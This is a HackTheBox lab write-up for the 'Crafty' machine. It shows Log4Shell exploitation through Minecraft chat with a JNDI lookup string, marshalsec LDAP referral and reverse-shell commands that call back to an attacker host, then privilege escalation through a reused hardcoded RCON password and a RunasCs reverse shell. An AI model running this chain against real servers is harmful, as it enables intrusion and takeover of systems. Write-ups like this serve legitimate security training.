// HackTheBox
Crafty
Log4Shell (CVE-2021-44228) via Minecraft chat → RCON password reused as local Administrator password
Recon
An nmap -sV -sC scan of the top-1000 ports showed only 80/tcp. A default scan
finding a single web port on a box themed around a game server is a hint to look
wider, so a full port sweep (-p-) follows — and it turns up the real second service,
25565/tcp:
| Port | Service |
|---|---|
| 80 | HTTP (IIS 10.0, “Crafty - Official Website”, Minecraft server fan site) |
| 25565 | Minecraft |
25565 is Minecraft’s default port. A hand-rolled server-list-ping (exploit/mc_ping.rb,
a raw-socket implementation of the Minecraft status handshake) asks the server to
identify itself and gets back version 1.16.5 / protocol 754. That version is
squarely in the range that shipped a vulnerable log4j, so this is a Log4Shell
(CVE-2021-44228) candidate — the thread to pull. Log4Shell is a flaw in the log4j
logging library where any attacker-controlled string that gets logged can contain a
${jndi:ldap://...} lookup, which makes the server reach out over JNDI/LDAP and load
a remote Java class. A Minecraft server logs player chat, so chat is a delivery path
straight into the logger.
Foothold — Log4Shell (CVE-2021-44228) via Minecraft chat
The exploit chain is: get the server to log our ${jndi:...} string → it queries our
LDAP server → our LDAP server refers it to our HTTP server → it downloads and runs our
malicious Java class. None of the required tooling (java, marshalsec, mcstatus) is
preinstalled, so it all has to be assembled first. The container has internet egress,
which makes that quick.
1. Build the tooling
Install a JDK and Maven, then clone and build marshalsec — a toolkit that includes an LDAP referral server, the component that will redirect the victim’s JNDI lookup to our HTTP server. marshalsec only needs a modern JDK to run; its JDK version is unrelated to the target’s:
$ apt-get install openjdk-17-jdk-headless maven
$ git clone https://github.com/mbechler/marshalsec
$ mvn clean package -DskipTests
That produces marshalsec-0.0.3-SNAPSHOT-all.jar.
2. Compile the payload class
Exploit.java is the class the target will fetch and execute — a reverse-shell payload
that picks cmd.exe or /bin/sh based on the OS it lands on. It’s compiled targeting
Java 8 bytecode so it will load on the presumably-old JRE bundled with the Minecraft
server (a newer class-file version would be rejected by an older JVM):
$ javac --release 8 Exploit.java
3. Serve the class over HTTP
A plain HTTP server runs in the directory containing Exploit.class, so the target can
download it once the LDAP referral points there:
$ ruby -run -e httpd . -p 8000
4. Start the LDAP referral server
marshalsec’s LDAPRefServer listens on 1389 and answers JNDI lookups with a referral
to our HTTP-hosted class. The #Exploit fragment names the class to load:
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<LHOST>:8000/#Exploit"
5. Deliver the JNDI string over Minecraft chat
With no Minecraft client or mcstatus available, a minimal Minecraft protocol client is
hand-rolled (exploit/mc_log4shell.rb) that performs the handshake, login, and chat.
Minecraft usernames are capped at 16 characters — too short to hold a JNDI string — so
the client logs in with an ordinary short username and then sends the payload as a
chat message instead:
${jndi:ldap://<LHOST>:1389/a}
Two protocol details have to be handled for the chat to land: the server’s
Set Compression packet (once compression is enabled, a Data Length varint is inserted
before the packet ID, changing the framing), and the initial burst of Play-state setup
packets, which must be drained before sending chat — otherwise the framing and timing
get confused.
6. Trigger and catch the shell
The server’s log4j logs the chat line, performs the JNDI lookup against our LDAP server,
gets referred to our HTTP server, fetches Exploit.class, and runs it. The reverse
shell lands as crafty\svc_minecraft.
Privilege Escalation — RCON password reused as local Administrator password
Exploring svc_minecraft’s files turns up a custom server plugin at
C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar. There’s no
file-upload channel, but one isn’t needed: certutil -encode base64-encodes the JAR on
the target, and type prints that encoding over the reverse shell to be copied off and
decoded locally:
$ certutil -encode playercounter-1.0-SNAPSHOT.jar playercounter.b64
$ type playercounter.b64
Decompiling the JAR locally with javap -c -p reveals that the plugin’s onEnable()
method hardcodes an RCON connection (RCON is Minecraft’s remote-console protocol):
new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes())
The interesting part isn’t RCON at all — that same string, s67u84zKq8IXw, is also the
local Administrator password (credential reuse). To use it, RunasCs.exe (from the
antonioCoco/RunasCs release) is fetched onto the target via Invoke-WebRequest from
our HTTP server. RunasCs runs a command as another user given that user’s credentials;
here it launches a reverse shell as Administrator:
$ RunasCs.exe Administrator s67u84zKq8IXw cmd.exe -r <LHOST>:9002
That gives a reverse shell as crafty\administrator directly. No SeImpersonate-style
Potato technique was needed — whoami /all as svc_minecraft showed no useful
privileges, so this credential-reuse path was the only route.
Key Takeaways
- No
mcstatus/Minecraft-client/marshalsec tooling was preinstalled in this environment for game-protocol or JNDI work — all of it (JDK, maven, marshalsec build, a from-scratch Minecraft protocol client) had to be assembled ad hoc.apt-get install openjdk-17-jdk-headless mavenand building marshalsec from source worked fine and took under a minute; don’t assume a missing tool blocks the box, building the minimal piece needed is often fast. - Minecraft usernames are capped at 16 characters — too short for most JNDI payload strings. Chat messages (256 char cap) are the more reliable Log4Shell delivery field on this game protocol specifically.
- The LDAP referral server (marshalsec) only needs to run under a modern JDK; the
--release 8-targeted bytecode requirement applies only to the payload.classactually loaded by the target’s (old) JVM. - Hardcoded service credentials (an RCON password baked into a plugin JAR) are a recurring privesc/lateral-move vector on Minecraft-server-themed boxes — always decompile any custom plugin JARs found, not just read their strings.